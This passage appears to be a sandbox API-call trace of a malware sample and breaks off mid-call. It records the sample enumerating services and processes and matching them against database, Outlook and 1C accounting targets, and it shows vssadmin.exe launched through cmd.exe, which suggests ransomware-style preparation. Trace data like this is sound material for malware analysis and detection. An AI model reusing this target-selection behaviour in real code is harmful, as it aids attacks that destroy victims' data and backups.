lstrcmpiW (lpString1="mssqlserver", lpString2="TrkWks") returned -1 [0191.141] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="TrkWks") returned -1 [0191.141] lstrlenW (lpString="UxSms") returned 5 [0191.141] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="UxSms") returned -1 [0191.141] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="UxSms") returned -1 [0191.141] lstrcmpiW (lpString1="sqlwriter", lpString2="UxSms") returned -1 [0191.142] lstrcmpiW (lpString1="mssqlserver", lpString2="UxSms") returned -1 [0191.142] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="UxSms") returned -1 [0191.142] lstrlenW (lpString="VSS") returned 3 [0191.142] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="VSS") returned -1 [0191.142] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="VSS") returned -1 [0191.142] lstrcmpiW (lpString1="sqlwriter", lpString2="VSS") returned -1 [0191.142] lstrcmpiW (lpString1="mssqlserver", lpString2="VSS") returned -1 [0191.142] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="VSS") returned -1 [0191.142] lstrlenW (lpString="WdiServiceHost") returned 14 [0191.142] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiServiceHost") returned -1 [0191.142] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiServiceHost") returned -1 [0191.142] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiServiceHost") returned -1 [0191.142] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiServiceHost") returned -1 [0191.142] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiServiceHost") returned -1 [0191.142] lstrlenW (lpString="WdiSystemHost") returned 13 [0191.142] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiSystemHost") returned -1 [0191.142] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiSystemHost") returned -1 [0191.142] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiSystemHost") returned -1 [0191.142] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiSystemHost") returned -1 [0191.142] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiSystemHost") returned -1 [0191.142] lstrlenW (lpString="WinHttpAutoProxySvc") returned 19 [0191.142] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0191.142] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0191.142] lstrcmpiW (lpString1="sqlwriter", lpString2="WinHttpAutoProxySvc") returned -1 [0191.142] lstrcmpiW (lpString1="mssqlserver", lpString2="WinHttpAutoProxySvc") returned -1 [0191.142] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WinHttpAutoProxySvc") returned -1 [0191.142] lstrlenW (lpString="Winmgmt") returned 7 [0191.142] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Winmgmt") returned -1 [0191.142] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Winmgmt") returned -1 [0191.142] lstrcmpiW (lpString1="sqlwriter", lpString2="Winmgmt") returned -1 [0191.142] lstrcmpiW (lpString1="mssqlserver", lpString2="Winmgmt") returned -1 [0191.142] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Winmgmt") returned -1 [0191.142] lstrlenW (lpString="WPDBusEnum") returned 10 [0191.143] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WPDBusEnum") returned -1 [0191.143] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WPDBusEnum") returned -1 [0191.143] lstrcmpiW (lpString1="sqlwriter", lpString2="WPDBusEnum") returned -1 [0191.143] lstrcmpiW (lpString1="mssqlserver", lpString2="WPDBusEnum") returned -1 [0191.143] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WPDBusEnum") returned -1 [0191.143] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6b5c80 | out: hHeap=0x5c0000) returned 1 [0191.143] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1c8 [0191.144] Process32FirstW (in: hSnapshot=0x1c8, lppe=0x23cfd34 | out: lppe=0x23cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0191.145] Process32NextW (in: hSnapshot=0x1c8, lppe=0x23cfd34 | out: lppe=0x23cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x53, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0191.145] lstrlenW (lpString="System") returned 6 [0191.145] lstrcmpiW (lpString1="1c8.exe", lpString2="System") returned -1 [0191.145] lstrcmpiW (lpString1="1cv77.exe", lpString2="System") returned -1 [0191.145] lstrcmpiW (lpString1="outlook.exe", lpString2="System") returned -1 [0191.145] lstrcmpiW (lpString1="postgres.exe", lpString2="System") returned -1 [0191.145] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="System") returned -1 [0191.145] lstrcmpiW (lpString1="mysqld.exe", lpString2="System") returned -1 [0191.145] lstrcmpiW (lpString1="sqlservr.exe", lpString2="System") returned -1 [0191.145] Process32NextW (in: hSnapshot=0x1c8, lppe=0x23cfd34 | out: lppe=0x23cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0191.146] lstrlenW (lpString="smss.exe") returned 8 [0191.146] lstrcmpiW (lpString1="1c8.exe", lpString2="smss.exe") returned -1 [0191.146] lstrcmpiW (lpString1="1cv77.exe", lpString2="smss.exe") returned -1 [0191.146] lstrcmpiW (lpString1="outlook.exe", lpString2="smss.exe") returned -1 [0191.146] lstrcmpiW (lpString1="postgres.exe", lpString2="smss.exe") returned -1 [0191.146] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="smss.exe") returned -1 [0191.146] lstrcmpiW (lpString1="mysqld.exe", lpString2="smss.exe") returned -1 [0191.146] lstrcmpiW (lpString1="sqlservr.exe", lpString2="smss.exe") returned 1 [0191.146] Process32NextW (in: hSnapshot=0x1c8, lppe=0x23cfd34 | out: lppe=0x23cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x13c, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0191.146] lstrlenW (lpString="csrss.exe") returned 9 [0191.146] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0191.146] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0191.146] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0191.146] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0191.146] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0191.146] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0191.146] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1 [0191.146] Process32NextW (in: hSnapshot=0x1c8, lppe=0x23cfd34 | out: lppe=0x23cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x13c, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0191.147] lstrlenW (lpString="wininit.exe") returned 11 [0191.147] lstrcmpiW (lpString1="1c8.exe", lpString2="wininit.exe") returned -1 [0191.147] lstrcmpiW (lpString1="1cv77.exe", lpString2="wininit.exe") returned -1 [0191.147] lstrcmpiW (lpString1="outlook.exe", lpString2="wininit.exe") returned -1 [0191.147] lstrcmpiW (lpString1="postgres.exe", lpString2="wininit.exe") returned -1 [0191.147] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="wininit.exe") returned -1 [0191.147] lstrcmpiW (lpString1="mysqld.exe", lpString2="wininit.exe") returned -1 [0191.147] lstrcmpiW (lpString1="sqlservr.exe", lpString2="wininit.exe") returned -1 [0191.147] Process32NextW (in: hSnapshot=0x1c8, lppe=0x23cfd34 | out: lppe=0x23cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0191.147] lstrlenW (lpString="csrss.exe") returned 9 [0191.147] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0191.147] Process32NextW (in: hSnapshot=0x1c8, lppe=0x23cfd34 | out: lppe=0x23cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0191.148] lstrlenW (lpString="winlogon.exe") returned 12 [0191.148] Process32NextW (in: hSnapshot=0x1c8, lppe=0x23cfd34 | out: lppe=0x23cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0191.148] lstrlenW (lpString="services.exe") returned 12 [0191.148] Process32NextW (in: hSnapshot=0x1c8, lppe=0x23cfd34 | out: lppe=0x23cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0191.148] lstrlenW (lpString="lsass.exe") returned 9 [0191.149] Process32NextW (in: hSnapshot=0x1c8, lppe=0x23cfd34 | out: lppe=0x23cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0191.149] lstrlenW (lpString="lsm.exe") returned 7 [0191.149] Process32NextW (in: hSnapshot=0x1c8, lppe=0x23cfd34 | out: lppe=0x23cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0191.149] lstrlenW (lpString="svchost.exe") returned 11 [0191.149] Process32NextW (in: hSnapshot=0x1c8, lppe=0x23cfd34 | out: lppe=0x23cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0191.149] lstrlenW (lpString="svchost.exe") returned 11 [0191.149] Process32NextW (in: hSnapshot=0x1c8, lppe=0x23cfd34 | out: lppe=0x23cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0191.150] lstrlenW (lpString="svchost.exe") returned 11 [0191.150] Process32NextW (in: hSnapshot=0x1c8, lppe=0x23cfd34 | out: lppe=0x23cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x324, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x17, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0191.150] lstrlenW (lpString="svchost.exe") returned 11 [0191.150] Process32NextW (in: hSnapshot=0x1c8, lppe=0x23cfd34 | out: lppe=0x23cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x374, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2d, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0191.150] lstrlenW (lpString="svchost.exe") returned 11 [0191.150] Process32NextW (in: hSnapshot=0x1c8, lppe=0x23cfd34 | out: lppe=0x23cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0191.151] lstrlenW (lpString="audiodg.exe") returned 11 [0191.151] Process32NextW (in: hSnapshot=0x1c8, lppe=0x23cfd34 | out: lppe=0x23cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0191.151] lstrlenW (lpString="svchost.exe") returned 11 [0191.152] Process32NextW (in: hSnapshot=0x1c8, lppe=0x23cfd34 | out: lppe=0x23cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1f, th32ParentProcessID=0x370, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0191.152] lstrlenW (lpString="explorer.exe") returned 12 [0191.152] Process32NextW (in: hSnapshot=0x1c8, lppe=0x23cfd34 | out: lppe=0x23cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x41c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x324, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0191.152] lstrlenW (lpString="dwm.exe") returned 7 [0191.152] Process32NextW (in: hSnapshot=0x1c8, lppe=0x23cfd34 | out: lppe=0x23cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x450, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0191.153] lstrlenW (lpString="svchost.exe") returned 11 [0191.153] Process32NextW (in: hSnapshot=0x1c8, lppe=0x23cfd34 | out: lppe=0x23cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x3a4, pcPriClassBase=8, dwFlags=0x0, szExeFile="n.exe")) returned 1 [0191.153] lstrlenW (lpString="n.exe") returned 5 [0191.153] Process32NextW (in: hSnapshot=0x1c8, lppe=0x23cfd34 | out: lppe=0x23cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x510, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0191.153] lstrlenW (lpString="spoolsv.exe") returned 11 [0191.153] Process32NextW (in: hSnapshot=0x1c8, lppe=0x23cfd34 | out: lppe=0x23cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x57c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0191.154] lstrlenW (lpString="svchost.exe") returned 11 [0191.154] Process32NextW (in: hSnapshot=0x1c8, lppe=0x23cfd34 | out: lppe=0x23cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x584, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0191.154] lstrlenW (lpString="taskhost.exe") returned 12 [0191.154] Process32NextW (in: hSnapshot=0x1c8, lppe=0x23cfd34 | out: lppe=0x23cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x4f0, pcPriClassBase=8, dwFlags=0x0, szExeFile="reader_sl.exe")) returned 1 [0191.154] lstrlenW (lpString="reader_sl.exe") returned 13 [0191.154] Process32NextW (in: hSnapshot=0x1c8, lppe=0x23cfd34 | out: lppe=0x23cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x370, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x7dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="n.exe")) returned 1 [0191.155] lstrlenW (lpString="n.exe") returned 5 [0191.155] Process32NextW (in: hSnapshot=0x1c8, lppe=0x23cfd34 | out: lppe=0x23cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x504, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x370, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0191.155] lstrlenW (lpString="cmd.exe") returned 7 [0191.155] Process32NextW (in: hSnapshot=0x1c8, lppe=0x23cfd34 | out: lppe=0x23cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x350, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x184, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0191.155] lstrlenW (lpString="conhost.exe") returned 11 [0191.155] Process32NextW (in: hSnapshot=0x1c8, lppe=0x23cfd34 | out: lppe=0x23cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x658, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x504, pcPriClassBase=8, dwFlags=0x0, szExeFile="vssadmin.exe")) returned 1 [0191.156] lstrlenW (lpString="vssadmin.exe") returned 12 [0191.156] Process32NextW (in: hSnapshot=0x1c8, lppe=0x23cfd34 | out: lppe=0x23cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x438, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="VSSVC.exe")) returned 1 [0191.156] lstrlenW (lpString="VSSVC.exe") returned 9 [0191.156] Process32NextW (in: hSnapshot=0x1c8, lppe=0x23cfd34 | out: lppe=0x23cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x438, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="VSSVC.exe")) returned 0 [0191.157] CloseHandle (hObject=0x1c8) returned 1 [0191.157] Sleep (dwMilliseconds=0x1f4) [0191.906] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x633dc8 [0191.907] EnumServicesStatusExW (in: hSCManager=0x633dc8, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x23cff44, lpServicesReturned=0x23cff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x23cff44, lpServicesReturned=0x23cff5c, lpResumeHandle=0x0) returned 0 [0191.907] GetLastError () returned 0xea [0191.907] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x123e) returned 0x6b5c80 [0191.907] EnumServicesStatusExW (in: hSCManager=0x633dc8, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x6b5c80, cbBufSize=0x123e, pcbBytesNeeded=0x23cff44, lpServicesReturned=0x23cff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x6b5c80, pcbBytesNeeded=0x23cff44, lpServicesReturned=0x23cff5c, lpResumeHandle=0x0) returned 1 [0191.908] CloseServiceHandle (hSCObject=0x633dc8) returned 1 [0191.908] lstrlenW (lpString="Appinfo") returned 7 [0191.908] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0191.908] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0191.908] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0191.908] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0191.908] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0191.908] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0191.908] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0191.908] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0191.908] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0191.908] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0191.908] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0191.908] lstrlenW (lpString="AudioSrv") returned 8 [0191.908] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioSrv") returned 1 [0191.908] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioSrv") returned 1 [0191.908] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioSrv") returned 1 [0191.908] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioSrv") returned 1 [0191.909] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioSrv") returned 1 [0191.909] lstrlenW (lpString="BFE") returned 3 [0191.910] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0191.910] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0191.910] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0191.910] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0191.910] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0191.911] lstrlenW (lpString="CryptSvc") returned 8 [0191.911] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0191.911] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0191.911] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0191.911] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0191.911] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0191.911] lstrlenW (lpString="CscService") returned 10 [0191.911] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CscService") returned 1 [0191.911] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CscService") returned 1 [0191.911] lstrcmpiW (lpString1="sqlwriter", lpString2="CscService") returned 1 [0191.911] lstrcmpiW (lpString1="mssqlserver", lpString2="CscService") returned 1 [0191.911] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CscService") returned 1 [0191.911] lstrlenW (lpString="DcomLaunch") returned 10 [0191.911] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0191.911] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0191.911] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0191.911] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0191.911] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0191.911] lstrlenW (lpString="Dhcp") returned 4 [0191.911] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0191.911] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0191.911] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0191.911] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0191.911] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0191.911] lstrlenW (lpString="Dnscache") returned 8 [0191.911] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0191.911] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0191.912] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0191.912] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0191.912] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0191.912] lstrlenW (lpString="DPS") returned 3 [0191.912] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0191.912] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0191.912] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0191.912] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0191.912] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0191.912] lstrlenW (lpString="eventlog") returned 8 [0191.912] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="eventlog") returned 1 [0191.912] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="eventlog") returned 1 [0191.912] lstrcmpiW (lpString1="sqlwriter", lpString2="eventlog") returned 1 [0191.912] lstrcmpiW (lpString1="mssqlserver", lpString2="eventlog") returned 1 [0191.912] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="eventlog") returned 1 [0191.912] lstrlenW (lpString="EventSystem") returned 11 [0191.912] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0191.912] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0191.912] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0191.912] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0191.912] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0191.912] lstrlenW (lpString="gpsvc") returned 5 [0191.912] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0191.912] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0191.912] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0191.912] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0191.912] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0191.912] lstrlenW (lpString="iphlpsvc") returned 8 [0191.912] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0191.913] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0191.913] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0191.913] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0191.913] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0191.913] lstrlenW (lpString="LanmanServer") returned 12 [0191.913] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0191.913] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0191.913] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0191.913] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0191.913] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0191.913] lstrlenW (lpString="LanmanWorkstation") returned 17 [0191.913] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0191.913] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0191.913] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0191.913] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0191.913] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0191.913] lstrlenW (lpString="lmhosts") returned 7 [0191.913] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0191.913] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0191.913] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0191.913] lstrcmpiW (lpString1="mssqlserver", 